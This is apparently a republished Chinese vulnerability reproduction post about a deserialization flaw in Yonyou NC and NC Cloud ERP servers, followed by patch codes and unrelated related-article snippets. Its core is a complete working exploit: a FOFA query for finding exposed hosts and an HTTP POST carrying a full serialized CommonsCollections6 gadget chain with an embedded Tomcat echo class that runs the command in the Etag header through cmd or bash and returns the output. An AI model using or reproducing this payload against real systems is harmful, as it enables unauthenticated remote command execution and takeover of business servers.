用友NC及NC Cloud mxservlet反序列化漏洞复现

news2024/10/6 12:26:34

0x01 产品简介

  用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。

0x02 漏洞概述

    用友NC及NC Cloud系统存在反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行了反序列化操作,结合系统本身存在的反序列化利用链,可造成了命令执行,深入利用可随意操作服务器。

0x03 影响范围

  NC56、NC57、NC63、NC65、NCC1903、NCC1909、NCC2005

0x04 复现环境

FOFA:body="Client/Uclient/UClient.dmg"

0x05 漏洞复现 

Exp:

POST /servlet/~ic/nc.bs.framework.mx.MxServlet HTTP/1.1
Host: your-ip
Etag: whoami

{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEntry\x8a\xad\xd2\x9b9\xc1\x1f\xdb\x02\x00\x02L\x00\x03keyt\x00\x12Ljava/lang/Object;L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00\x04su18sr\x00*org.apache.commons.collections.map.LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,Lorg/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collections.functors.ChainedTransformer0\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTransformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-[Lorg.apache.commons.collections.Transformer;\xbdV*\xf1\xd84\x18\x99\x02\x00\x00xp\x00\x00\x00\x06sr\x00;org.apache.commons.collections.functors.ConstantTransformerXv\x90\x11A\x02\xb1\x94\x02\x00\x01L\x00\x09iConstantq\x00~\x00\x03xpvr\x00*org.mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xpsr\x00:org.apache.commons.collections.functors.InvokerTransformer\x87\xe8\xffk\x7b|\xce8\x02\x00\x03[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethodNamet\x00\x12Ljava/lang/String;[\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s\x29l\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;\xab\x16\xd7\xae\xcb\xcdZ\x99\x02\x00\x00xp\x00\x00\x00\x00t\x00\x0egetConstructoruq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x1asq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00\x00t\x00\x0bnewInstanceuq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x18sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x02t\x00%org.apache.logging.util.crypt.NoCryptur\x00\x02[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x0f\xe2\xca\xfe\xba\xbe\x00\x00\x002\x00\xe3\x01\x00%org/apache/logging/util/crypt/NoCrypt\x07\x00\x01\x01\x00\x10java/lang/Object\x07\x00\x03\x01\x00\x06<init>\x01\x00\x03\x28\x29V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x0c\x00\x05\x00\x06\x0a\x00\x04\x00\x09\x01\x00\x01q\x01\x003\x28Ljava/lang/String;\x29Ljava/io/ByteArrayOutputStream;\x01\x00\x07execCmd\x0c\x00\x0d\x00\x0c\x0a\x00\x02\x00\x0e\x01\x00\x08<clinit>\x01\x00\x1ejava/lang/NoSuchFieldException\x07\x00\x11\x01\x00\x1fjava/lang/NoSuchMethodException\x07\x00\x13\x01\x00\x13java/lang/Exception\x07\x00\x15\x01\x00\x15java/lang/ThreadGroup\x07\x00\x17\x01\x00\x15java/lang/ClassLoader\x07\x00\x19\x01\x00\x17java/lang/reflect/Field\x07\x00\x1b\x01\x00\x13[Ljava/lang/Thread;\x07\x00\x1d\x01\x00\x10java/lang/Thread\x07\x00\x1f\x01\x00\x10java/lang/String\x07\x00!\x01\x00\x0ejava/util/List\x07\x00#\x01\x00\x1djava/io/ByteArrayOutputStream\x07\x00%\x01\x00\x0dStackMapTable\x01\x00\x0dcurrentThread\x01\x00\x14\x28\x29Ljava/lang/Thread;\x0c\x00\x28\x00\x29\x0a\x00 \x00*\x01\x00\x0egetThreadGroup\x01\x00\x19\x28\x29Ljava/lang/ThreadGroup;\x0c\x00,\x00-\x0a\x00 \x00.\x01\x00\x15getContextClassLoader\x01\x00\x19\x28\x29Ljava/lang/ClassLoader;\x0c\x000\x001\x0a\x00 \x002\x01\x00\x08getClass\x01\x00\x13\x28\x29Ljava/lang/Class;\x0c\x004\x005\x0a\x00\x04\x006\x01\x00\x07threads\x08\x008\x01\x00\x0fjava/lang/Class\x07\x00:\x01\x00\x10getDeclaredField\x01\x00-\x28Ljava/lang/String;\x29Ljava/lang/reflect/Field;\x0c\x00<\x00=\x0a\x00;\x00>\x01\x00\x0dsetAccessible\x01\x00\x04\x28Z\x29V\x0c\x00@\x00A\x0a\x00\x1c\x00B\x01\x00\x03get\x01\x00&\x28Ljava/lang/Object;\x29Ljava/lang/Object;\x0c\x00D\x00E\x0a\x00\x1c\x00F\x01\x00\x07getName\x01\x00\x14\x28\x29Ljava/lang/String;\x0c\x00H\x00I\x0a\x00 \x00J\x01\x00\x04exec\x08\x00L\x01\x00\x08contains\x01\x00\x1b\x28Ljava/lang/CharSequence;\x29Z\x0c\x00N\x00O\x0a\x00\"\x00P\x01\x00\x04http\x08\x00R\x01\x00\x06target\x08\x00T\x01\x00\x12java/lang/Runnable\x07\x00V\x01\x00\x06this$0\x08\x00X\x01\x00\x07handler\x08\x00Z\x01\x00\x0dgetSuperclass\x0c\x00\\\x005\x0a\x00;\x00]\x01\x00\x06global\x08\x00_\x01\x00\x0aprocessors\x08\x00a\x01\x00\x04size\x01\x00\x03\x28\x29I\x0c\x00c\x00d\x0b\x00$\x00e\x01\x00\x15\x28I\x29Ljava/lang/Object;\x0c\x00D\x00g\x0b\x00$\x00h\x01\x00\x03req\x08\x00j\x01\x00\x0bgetResponse\x08\x00l\x01\x00\x09getMethod\x01\x00@\x28Ljava/lang/String;[Ljava/lang/Class;\x29Ljava/lang/reflect/Method;\x0c\x00n\x00o\x0a\x00;\x00p\x01\x00\x18java/lang/reflect/Method\x07\x00r\x01\x00\x06invoke\x01\x009\x28Ljava/lang/Object;[Ljava/lang/Object;\x29Ljava/lang/Object;\x0c\x00t\x00u\x0a\x00s\x00v\x01\x00\x09getHeader\x08\x00x\x01\x00\x0aCMD_HEADER\x01\x00\x12Ljava/lang/String;\x0c\x00z\x00\x7b\x09\x00\x02\x00|\x01\x00\x07isEmpty\x01\x00\x03\x28\x29Z\x0c\x00~\x00\x7f\x0a\x00\"\x00\x80\x01\x00\x09setStatus\x08\x00\x82\x01\x00\x11java/lang/Integer\x07\x00\x84\x01\x00\x04TYPE\x01\x00\x11Ljava/lang/Class;\x0c\x00\x86\x00\x87\x09\x00\x85\x00\x88\x01\x00\x04\x28I\x29V\x0c\x00\x05\x00\x8a\x0a\x00\x85\x00\x8b\x0c\x00\x0b\x00\x0c\x0a\x00\x02\x00\x8d\x01\x00$org.apache.tomcat.util.buf.ByteChunk\x08\x00\x8f\x01\x00\x07forName\x01\x00=\x28Ljava/lang/String;ZLjava/lang/ClassLoader;\x29Ljava/lang/Class;\x0c\x00\x91\x00\x92\x0a\x00;\x00\x93\x01\x00\x0bnewInstance\x01\x00\x14\x28\x29Ljava/lang/Object;\x0c\x00\x95\x00\x96\x0a\x00;\x00\x97\x01\x00\x08setBytes\x08\x00\x99\x01\x00\x02[B\x07\x00\x9b\x01\x00\x11getDeclaredMethod\x0c\x00\x9d\x00o\x0a\x00;\x00\x9e\x01\x00\x0btoByteArray\x01\x00\x04\x28\x29[B\x0c\x00\xa0\x00\xa1\x0a\x00&\x00\xa2\x01\x00\x07valueOf\x01\x00\x16\x28I\x29Ljava/lang/Integer;\x0c\x00\xa4\x00\xa5\x0a\x00\x85\x00\xa6\x01\x00\x07doWrite\x08\x00\xa8\x01\x00\x13java.nio.ByteBuffer\x08\x00\xaa\x01\x00\x04wrap\x08\x00\xac\x01\x00\x13[Ljava/lang/String;\x07\x00\xae\x01\x00\x13java/io/InputStream\x07\x00\xb0\x01\x00\x07os.name\x08\x00\xb2\x01\x00\x10java/lang/System\x07\x00\xb4\x01\x00\x0bgetProperty\x01\x00&\x28Ljava/lang/String;\x29Ljava/lang/String;\x0c\x00\xb6\x00\xb7\x0a\x00\xb5\x00\xb8\x01\x00\x0btoLowerCase\x0c\x00\xba\x00I\x0a\x00\"\x00\xbb\x01\x00\x03win\x08\x00\xbd\x01\x00\x03cmd\x08\x00\xbf\x01\x00\x02/c\x08\x00\xc1\x01\x00\x09/bin/bash\x08\x00\xc3\x01\x00\x02-c\x08\x00\xc5\x01\x00\x11java/lang/Runtime\x07\x00\xc7\x01\x00\x0agetRuntime\x01\x00\x15\x28\x29Ljava/lang/Runtime;\x0c\x00\xc9\x00\xca\x0a\x00\xc8\x00\xcb\x01\x00\x28\x28[Ljava/lang/String;\x29Ljava/lang/Process;\x0c\x00L\x00\xcd\x0a\x00\xc8\x00\xce\x01\x00\x11java/lang/Process\x07\x00\xd0\x01\x00\x0egetInputStream\x01\x00\x17\x28\x29Ljava/io/InputStream;\x0c\x00\xd2\x00\xd3\x0a\x00\xd1\x00\xd4\x0a\x00&\x00\x09\x01\x00\x05write\x01\x00\x07\x28[BII\x29V\x0c\x00\xd7\x00\xd8\x0a\x00&\x00\xd9\x01\x00\x04read\x01\x00\x05\x28[B\x29I\x0c\x00\xdb\x00\xdc\x0a\x00\xb1\x00\xdd\x01\x00\x0aSourceFile\x01\x00\x0fTomcatEcho.java\x01\x00\x04Etag\x08\x00\xe1\x00!\x00\x02\x00\x04\x00\x00\x00\x01\x00\x09\x00z\x00\x7b\x00\x00\x00\x04\x00\x01\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x1d\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x0a\xb1\x00\x00\x00\x01\x00\x08\x00\x00\x00\x06\x00\x01\x00\x00\x00\x06\x00\x09\x00\x0b\x00\x0c\x00\x01\x00\x07\x00\x00\x00\x11\x00\x01\x00\x01\x00\x00\x00\x05*\xb8\x00\x0f\xb0\x00\x00\x00\x00\x00\x08\x00\x10\x00\x06\x00\x01\x00\x07\x00\x00\x04\xb4\x00\x08\x00\x11\x00\x00\x02\xbc\x12\xe2\xb3\x00\x7d\x03;\xb8\x00+\xb6\x00/L\xb8\x00+\xb6\x003M+\xb6\x007\x129\xb6\x00?N-\x04\xb6\x00C-+\xb6\x00G\xc0\x00\x1e\xc0\x00\x1e:\x04\x036\x05\x15\x05\x19\x04\xbe\xa2\x02~\x19\x04\x15\x052:\x06\x19\x06\xc7\x00\x06\xa7\x02i\x19\x06\xb6\x00K:\x07\x19\x07\x12M\xb6\x00Q\x9a\x00\x0d\x19\x07\x12S\xb6\x00Q\x9a\x00\x06\xa7\x02K\x19\x06\xb6\x007\x12U\xb6\x00?N-\x04\xb6\x00C-\x19\x06\xb6\x00G:\x08\x19\x08\xc1\x00W\x9a\x00\x06\xa7\x02\x28\x19\x08\xb6\x007\x12Y\xb6\x00?N-\x04\xb6\x00C-\x19\x08\xb6\x00G:\x08\x19\x08\xb6\x007\x12[\xb6\x00?N\xa7\x00\x16:\x09\x19\x08\xb6\x007\xb6\x00^\xb6\x00^\x12[\xb6\x00?N-\x04\xb6\x00C-\x19\x08\xb6\x00G:\x08\x19\x08\xb6\x007\xb6\x00^\x12`\xb6\x00?N\xa7\x00\x10:\x09\x19\x08\xb6\x007\x12`\xb6\x00?N-\x04\xb6\x00C-\x19\x08\xb6\x00G:\x08\x19\x08\xb6\x007\x12b\xb6\x00?N-\x04\xb6\x00C-\x19\x08\xb6\x00G\xc0\x00$\xc0\x00$:\x09\x036\x0a\x15\x0a\x19\x09\xb9\x00f\x01\x00\xa2\x01~\x19\x09\x15\x0a\xb9\x00i\x02\x00:\x0b\x19\x0b\xb6\x007\x12k\xb6\x00?N-\x04\xb6\x00C-\x19\x0b\xb6\x00G:\x0c\x19\x0c\xb6\x007\x12m\x03\xbd\x00;\xb6\x00q\x19\x0c\x03\xbd\x00\x04\xb6\x00w:\x0d\x19\x0c\xb6\x007\x12y\x04\xbd\x00;Y\x03\x12\"S\xb6\x00q\x19\x0c\x04\xbd\x00\x04Y\x03\xb2\x00\x7dS\xb6\x00w\xc0\x00\":\x07\x19\x07\xc6\x01\x09\x19\x07\xb6\x00\x81\x9a\x01\x01\x19\x0d\xb6\x007\x12\x83\x04\xbd\x00;Y\x03\xb2\x00\x89S\xb6\x00q\x19\x0d\x04\xbd\x00\x04Y\x03\xbb\x00\x85Y\x11\x00\xc8\xb7\x00\x8cS\xb6\x00wW\x19\x07\xb8\x00\x8e:\x0e\x12\x90\x03,\xb8\x00\x94:\x0f\x19\x0f\xb6\x00\x98:\x08\x19\x0f\x12\x9a\x06\xbd\x00;Y\x03\x12\x9cSY\x04\xb2\x00\x89SY\x05\xb2\x00\x89S\xb6\x00\x9f\x19\x08\x06\xbd\x00\x04Y\x03\x19\x0e\xb6\x00\xa3SY\x04\xbb\x00\x85Y\x03\xb7\x00\x8cSY\x05\x19\x0e\xb6\x00\xa3\xbe\xb8\x00\xa7S\xb6\x00wW\x19\x0d\xb6\x007\x12\xa9\x04\xbd\x00;Y\x03\x19\x0fS\xb6\x00q\x19\x0d\x04\xbd\x00\x04Y\x03\x19\x08S\xb6\x00wW\xa7\x00S:\x0f\x12\xab\x03,\xb8\x00\x94:\x10\x19\x10\x12\xad\x04\xbd\x00;Y\x03\x12\x9cS\xb6\x00\x9f\x19\x10\x04\xbd\x00\x04Y\x03\x19\x0e\xb6\x00\xa3S\xb6\x00w:\x08\x19\x0d\xb6\x007\x12\xa9\x04\xbd\x00;Y\x03\x19\x10S\xb6\x00q\x19\x0d\x04\xbd\x00\x04Y\x03\x19\x08S\xb6\x00wW\x04;\x1a\x99\x00\x06\xa7\x00\x09\x84\x0a\x01\xa7\xfe|\x1a\x99\x00\x06\xa7\x00\x0e\xa7\x00\x05:\x06\x84\x05\x01\xa7\xfd\x80\xa7\x00\x04K\xb1\x00\x08\x00\xa4\x00\xaf\x00\xb2\x00\x12\x00\xd2\x00\xe0\x00\xe3\x00\x12\x01\xcc\x02C\x02F\x00\x14\x00<\x00H\x02\xaf\x00\x16\x00K\x00f\x02\xaf\x00\x16\x00i\x00\x89\x02\xaf\x00\x16\x00\x8c\x02\xa9\x02\xaf\x00\x16\x00\x05\x02\xb7\x02\xba\x00\x16\x00\x02\x00\x08\x00\x00\x00\xfa\x00>\x00\x05\x00\x0c\x00\x07\x00\x0d\x00\x0e\x00\x0e\x00\x15\x00\x0f\x00\x1f\x00\x10\x00$\x00\x11\x001\x00\x12\x00<\x00\x14\x00C\x00\x15\x00K\x00\x16\x00R\x00\x17\x00i\x00\x18\x00t\x00\x19\x00y\x00\x1a\x00\x81\x00\x1b\x00\x8c\x00\x1c\x00\x97\x00\x1d\x00\x9c\x00\x1e\x00\xa4\x00 \x00\xaf\x00#\x00\xb2\x00!\x00\xb4\x00\"\x00\xc5\x00$\x00\xca\x00%\x00\xd2\x00'\x00\xe0\x00*\x00\xe3\x00\x28\x00\xe5\x00\x29\x00\xf0\x00+\x00\xf5\x00,\x00\xfd\x00-\x01\x08\x00.\x01\x0d\x00/\x01\x1b\x000\x01*\x001\x015\x002\x01@\x003\x01E\x004\x01M\x005\x01f\x006\x01\x8d\x007\x01\x9a\x008\x01\xc5\x009\x01\xcc\x00;\x01\xd5\x00<\x01\xdc\x00=\x02!\x00>\x02C\x00C\x02F\x00?\x02H\x00@\x02Q\x00A\x02t\x00B\x02\x96\x00D\x02\x98\x00F\x02\x9f\x000\x02\xa5\x00H\x02\xac\x00J\x02\xaf\x00I\x02\xb1\x00\x12\x02\xb7\x00N\x02\xba\x00M\x02\xbb\x00O\x00'\x00\x00\x00\xa6\x00\x15\xff\x004\x00\x06\x01\x07\x00\x18\x07\x00\x1a\x07\x00\x1c\x07\x00\x1e\x01\x00\x00\xfc\x00\x16\x07\x00 \xfc\x00\x1a\x07\x00\"\x02\xfc\x00\"\x07\x00\x04e\x07\x00\x12\x12]\x07\x00\x12\x0c\xfd\x00-\x07\x00$\x01\xff\x01'\x00\x0f\x01\x07\x00\x18\x07\x00\x1a\x07\x00\x1c\x07\x00\x1e\x01\x07\x00 \x07\x00\"\x07\x00\x04\x07\x00$\x01\x07\x00\x04\x07\x00\x04\x07\x00\x04\x07\x00&\x00\x01\x07\x00\x14\xfc\x00O\x07\x00\x04\xf9\x00\x01\x06\xf8\x00\x05\x06\xff\x00\x02\x00\x06\x01\x07\x00\x18\x07\x00\x1a\x07\x00\x1c\x07\x00\x1e\x01\x00\x01\x07\x00\x16\xfc\x00\x01\x07\x00\x04\xfa\x00\x05\xff\x00\x02\x00\x00\x00\x01\x07\x00\x16\x00\x00\x09\x00\x0d\x00\x0c\x00\x01\x00\x07\x00\x00\x00\xe2\x00\x04\x00\x07\x00\x00\x00\x8c*\x01\xa5\x00\x0a*\xb6\x00\x81\x99\x00\x06\xa7\x00v\x01L\x12\xb3\xb8\x00\xb9\xb6\x00\xbc\x12\xbe\xb6\x00Q\x99\x00\x19\x06\xbd\x00\"Y\x03\x12\xc0SY\x04\x12\xc2SY\x05*SL\xa7\x00\x16\x06\xbd\x00\"Y\x03\x12\xc4SY\x04\x12\xc6SY\x05*SL\xb8\x00\xcc+\xb6\x00\xcf\xb6\x00\xd5M\xbb\x00&Y\xb7\x00\xd6N\x036\x04\x11\x04\x00\xbc\x08:\x05\xa7\x00\x0c-\x19\x05\x03\x15\x04\xb6\x00\xda,\x19\x05\xb6\x00\xdeY6\x04\x02\xa0\xff\xed-\xb0\xa7\x00\x08:\x06\xa7\x00\x03\x01\xb0\x00\x01\x00\x00\x00\x82\x00\x85\x00\x16\x00\x01\x00'\x00\x00\x00<\x00\x09\x0c\x02\xfc\x00'\x05\xff\x00\x12\x00\x02\x07\x00\"\x07\x00\xaf\x00\x00\xff\x00\x1f\x00\x06\x07\x00\"\x07\x00\xaf\x07\x00\xb1\x07\x00&\x01\x07\x00\x9c\x00\x00\x08\xff\x00\x0e\x00\x01\x07\x00\"\x00\x00B\x07\x00\x16\x04\x00\x00t\x00\x0bdefineClassuq\x00~\x00\x1a\x00\x00\x00\x02vr\x00\x10java.lang.String\xa0\xf0\xa48z;\xb3B\x02\x00\x00xpvq\x00~\x00\x28sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x00q\x00~\x00\"uq\x00~\x00\x1a\x00\x00\x00\x00sq\x00~\x00\x0fsr\x00\x11java.lang.Integer\x12\xe2\xa0\xa4\xf7\x81\x878\x02\x00\x01I\x00\x05valuexr\x00\x10java.lang.Number\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00xp\x00\x00\x00\x01sr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\x0aloadFactorI\x00\x09thresholdxp?@\x00\x00\x00\x00\x00\x00w\x08\x00\x00\x00\x10\x00\x00\x00\x00xxx")}}

 PS:ysoserial的cc6 +TomcatEcho回显链+yakit自带的strconv.Unquote 转化(反序列化数据)

 0x06 修复建议

打对应补丁,重启服务,各版本补丁获取方式如下:

 NC56方案

补丁名称:NC56mxservlet反序列化补丁

补丁编码:NCM_NC5.6_000_1008_20221215_GP__PGM_098441263

NC57方案

补丁名称:57mxservlet反序列化补丁

补丁编码:NCM_NC5.7_000_109902_20220412_GP__PGM_757354084

 NC63方案

补丁名称:63mxservlet反序列化补丁

补丁编码:NCM_NC6.3_000_109902_20220412_GP__PGM_76074944

 NC65方案

补丁名称:65mxservlet反序列化补丁

补丁编码:NCM_NC6.5_000_109902_20220412_GP__PGM_762735076

NCC1903方案

补丁名称:1903mxservlet反序列化补丁

补丁编码:

NCM_NCCLOUD1903_10_109902_20220412_GP__PGM_773746473

NCC1909方案

补丁名称:1909mxservlet反序列化补丁

补丁编码:

NCM_NCCLOUD1909_10_109902_20220412_GP__PGM_774732239

NCC2005方案

补丁名称:MxServlet反序列化命令执行

补丁编码:SUPPORT-NCCloud2020.05-Patch-20211102-299966

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1214248.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小红书x-s、x-s-common算法研究与分析(仅供学习)

文章目录 1. 写在前面2. 参数分析2.1. x-s、x-t、x-s-common 1. 写在前面 最近花时间分析了一下xhs&#xff0c;研究的不深&#xff0c;也参考了网上许多开源出来的案例。简单记录一下&#xff0c;感兴趣的将就看一下吧&#xff01; 之前也研究过一段时间的某音&#xff0c;下…

VUE基础的一些总结

首先推荐观看VUE官方文档 目录 创建一个 Vue 应用 要创建一个 Vue 应用&#xff0c;你需要按照以下步骤操作&#xff1a; 步骤 1&#xff1a;安装 Node.js 和 npm 确保你的计算机上已经安装了 Node.js。你可以在 Node.js 官网 上下载并安装它。安装完成后&#xff0c;npm&…

io+day8

#ifndef __SEM2 #define __SEM3 4 //声明一个创>5 int init_sem(6 7 //声明一个p操8 int P(int sem9 10 //声明一个v操11 int W(int sem12 13 //声明一个删>14 int del_sem(i15 16 #endif 1 #include <myhead.h> …

【Python 千题 —— 基础篇】列表的最大值与最小值(for 循环版)

题目描述 题目描述 输出列表的最大值与最小值。题中有一个包含数字的列表 [11, 39, 100, 48, 392, 10, 9]&#xff0c;使用 for 循环输出这个列表的最大值与最小值。 输入描述 无输入。 输出描述 输出列表的最大值与最小值。 示例 示例 ① 输出&#xff1a; 列表的最…

【GitLab】-HTTP 500 curl 22 The requested URL returned error: 500~SSH解决

写在前面 本文主要介绍通过SSH的方式拉取GitLab代码。 目录 写在前面一、场景描述二、具体步骤1.环境说明2.生成秘钥3.GitLab添加秘钥4.验证SSH方式4.更改原有HTTP方式为SSH 三、参考资料写在后面系列文章 一、场景描述 之前笔者是通过 HTTP Personal access token 的方式拉取…

Redis 配置文件信息中文翻译版

前言 Redis 配置文件信息中文翻译版&#xff0c;方便大家阅读和理解对应参数信息及配置参数信息 # Redis configuration file example# Note on units: when memory size is needed, it is possible to specify # it in the usual form of 1k 5GB 4M and so forth: # 注意:当…

Django模型层

模型层 与数据库相关的&#xff0c;用于定义数据模型和数据库表结构。 在Django应用程序中&#xff0c;模型层是数据库和应用程序之间的接口&#xff0c;它负责处理所有与数据库相关的操作&#xff0c;例如创建、读取、更新和删除记录。Django的模型层还提供了一些高级功能 首…

Mars3d的timeline与locationBar样式重合问题处理方案

前置代码&#xff1a;配置了map的mapOptions &#xff0c;增加了默认的时间轴与下侧状态栏控件 export const mapOptions function (option) { option.control { timeline: { zoom: false, enabled: false }, // 方式1&#xff1a;options中添加控件 ; zoom - 禁止缩放 anim…

浏览器存储(localStorage和sessionStorage)

我们知道 js 写的效果&#xff0c;每次刷新都是从新执行&#xff0c;是不存在记录操作的&#xff0c;主要是大部分的效果不需要这样的处理 (一个 tab 切换&#xff0c;焦点图肯定不需要记住运行到哪里&#xff0c;刷新从新开始就好了)&#xff01; 在 html5 之前&#xff0c;前…

Oracle-动态sql学习笔记,由易至难讲解七个例子

本文章的内容来源于对oracle课堂上讲的内容做出的笔记 静态sql和动态sql 静态sql&#xff1a; 静态 SQL 是在编译时写死的 SQL 语句&#xff0c;即在程序编写阶段&#xff0c;SQL 语句已经被固定下来。 特点&#xff1a; 1.预编译&#xff1a; SQL 语句在程序编译时就会被…

【刷题专栏—突破思维】142. 环形链表 II

前言&#xff1a;本篇博客将讲解三个OJ题&#xff0c;前两个作为铺垫&#xff0c;最后完成环形链表的节点的寻找 文章目录 一、160. 相交链表二、141. 环形链表三、142. 环形链表II 一、160. 相交链表 题目链接&#xff1a;LeetCode—相交链表 题目描述&#xff1a; 给你两个单…

【VSCode】Visual Studio Code 配置简体中文环境教程

介绍 Visual Studio Code&#xff08;简称 VS Code&#xff09;是一款轻量级的代码编辑器&#xff0c;它支持多种编程语言&#xff0c;并且具有丰富的功能和插件扩展。如果你更喜欢使用简体中文界面&#xff0c;那么本教程将向你展示如何在 VS Code 中配置简体中文环境。 步骤…

如何调整图片尺寸:简单实用的教程分享

报名事业编考试的时候&#xff0c;会发现上传照片时会提示图片大小尺寸应该为多少&#xff0c;如果不符合规定就无法提交报名&#xff0c;那么怎么才能修改图片大小呢&#xff1f;最简单的方法就是利用调整照片大小工具来对图片尺寸修改&#xff0c;本文分享一个在线图片处理工…

如何提高领导力?

提升领导力的关键一方面要有正确的自我认知&#xff0c;另一方面就是坚持去实践&#xff0c;没有速成可言&#xff0c;没人那个人天生就具备领导力&#xff0c;有些人我们看起来是具有领导力的&#xff0c;但这些表象的背后可能是家庭环境的潜移默化&#xff0c;也有可能是个人…

智能导诊系统:基于机器学习和自然语言处理技术,可快速推荐合适的科室和医生

智能导诊系统是一种基于人工智能技术的新型系统&#xff0c;它能够为医院提供患者服务和管理&#xff0c;提高医院的管理效率和服务水平。 技术架构&#xff1a;springbootredismybatis plusmysqlRocketMQ 以下是智能导诊系统的应用场景和功能特点&#xff1a; 应用场景 1.患…

一个项目进行测试的一些最基本环境

在一个项目开发到发布的整个过程中&#xff0c;会使用到很多个环境进行测试和运行项目。最基本的开发环境、测试环境、准生产环境、生成环境 一、开发环境 开发环境顾名思义就是我们程序猿自己把项目放到自己的电脑上&#xff0c;配置好以后&#xff0c;跑起来项目&#xff0…

深度学习100例-卷积神经网络(CNN)实现mnist手写数字识别 | 第1天

文章目录 前期工作1. 设置GPU&#xff08;如果使用的是CPU可以忽略这步&#xff09;我的环境&#xff1a; 2. 导入数据3.归一化4.可视化5.调整图片格式 二、构建CNN网络模型三、编译模型四、训练模型五、预测六、知识点详解1. MNIST手写数字数据集介绍2. 神经网络程序说明3. 网…

计算机毕业设计 基于Vue的米家商城系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

解决Qt5.13.0无MySQL驱动问题

一、前言 由于Qt5.12.3是最后提供mysql数据库插件的版本&#xff0c;往后的版本需要自行编译对应的mysql数据库插件&#xff0c;官方安装包不再提供。使用高版本的Qt就需要自行编译mysql驱动。 若没有编译在QT中调用Qsqldatabase库连接mysql时&#xff0c;提示出现如下问题&a…

全国矿产地空间分布数据

我国矿产资源总量丰富、品种齐全&#xff0c;但人均占有量不足世界平均水平&#xff0c;矿产资源质量较差&#xff0c;地理分布不均衡&#xff0c;大型、超大型矿和露采矿较少&#xff0c;开发利用率不足&#xff0c;选矿冶炼技术落后。我国铁矿、锰矿、铬铁矿、铜矿、铝土矿等…